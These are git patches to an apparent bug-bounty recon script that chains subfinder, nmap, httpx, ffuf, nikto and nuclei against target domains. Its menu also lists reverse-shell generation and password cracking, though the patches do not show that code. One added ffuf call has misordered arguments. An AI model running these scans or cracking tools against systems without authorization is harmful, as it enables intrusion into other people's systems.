00:06:05 +0000 Subject: [PATCH 084/289] [s0mbra] added base64 decode --- s0mbra.sh | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2edbd38..9a9e4ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -219,7 +219,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain +# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) START_TIME=$(date) @@ -227,7 +227,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" @@ -511,12 +511,17 @@ generate_shells() { } defcreds() { - clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +b64() { + echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" + echo $1 | base64 -D + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + cmd=$1 clear @@ -602,6 +607,9 @@ case "$cmd" in s3) s3 "$2" ;; + b64) + b64 "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -640,7 +648,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" @@ -654,6 +662,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From f95d92d8a44ad8576f24fd3bf39507916b6ee574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 18 Jan 2022 10:14:23 +0000 Subject: [PATCH 085/289] [s0mbra] menu look improvements --- s0mbra.sh | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a9e4ca..1d8b745 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -7,13 +7,16 @@ HACKING_HOME="/Users/bl4de/hacking" -GRAY='\033[1;30m' +GRAY='\033[38;5;8m' +GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +BLUE_BG='\033[48;5;4m' LIGHTBLUE='\033[34m' +LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -280,8 +283,8 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" @@ -623,8 +626,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: RECON ::$CLR" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" @@ -633,34 +636,34 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE:: PENTEST TOOLS ::$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$BLUE:: SMB SUITE ::$CLR" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE:: SAST ::$CLR" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$BLUE:: RE ::$CLR" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE:: ANDROID ::$CLR" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE:: WEB ::$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" From 5f5538dd867097114762c1ba1dd7e9d66b277c5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 24 Jan 2022 19:51:30 +0000 Subject: [PATCH 086/289] [s0mbra] main menu changes; remove unused tools --- s0mbra.sh | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1d8b745..7fca481 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,13 +198,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# executes httpx on the list of host(s) -htpx() { - echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n$BLUE[s0mbra] Done." -} - # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D lookaround() { @@ -532,9 +525,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - htpx) - htpx "$2" - ;; lookaround) lookaround "$2" ;; @@ -627,21 +617,23 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" @@ -663,9 +655,6 @@ case "$cmd" in echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From 0e3aa68830da81e6faf7043f2d156c1c308c9816 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 25 Jan 2022 00:15:03 +0000 Subject: [PATCH 087/289] [denumerator] added missing HTTP Response status codes --- denumerator/denumerator.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 70ad1e6..5576f08 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,8 +43,8 @@ 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', + 303: '\33[33m', 304: '\33[33m', - 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', @@ -53,6 +53,7 @@ 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', + 429: '\33[94m', 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', From f0977b173d71882227033ef99c91f9f59c70a9a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 20:18:07 +0000 Subject: [PATCH 088/289] [s0mbra] Add required headers for recon --- s0mbra.sh | 62 +++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7fca481..9022230 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -231,16 +231,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -284,13 +284,13 @@ ransack() { nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log @@ -303,6 +303,28 @@ ransack() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +fu() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -450,28 +472,6 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fu() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" - - if [[ -n $3 ]]; then - if [[ $3 == "/" ]]; then - # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - generate_shells() { clear port=$2 From 1b80e18f78ba64ef01f651355238fb32fb11c5bd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 22:28:56 +0000 Subject: [PATCH 089/289] [s0mbra] Added fufilter - fu, but wiht filtering ceratin response size(s) --- s0mbra.sh | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9022230..39a91d1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -308,7 +308,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -325,6 +325,29 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +fufilter() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" + + if [[ -n $4 ]]; then + if [[ $4 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -606,6 +629,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufilter) + fufilter "$2" "$3" "$4" "$5" + ;; s3go) s3go "$2" "$3" ;; @@ -624,6 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 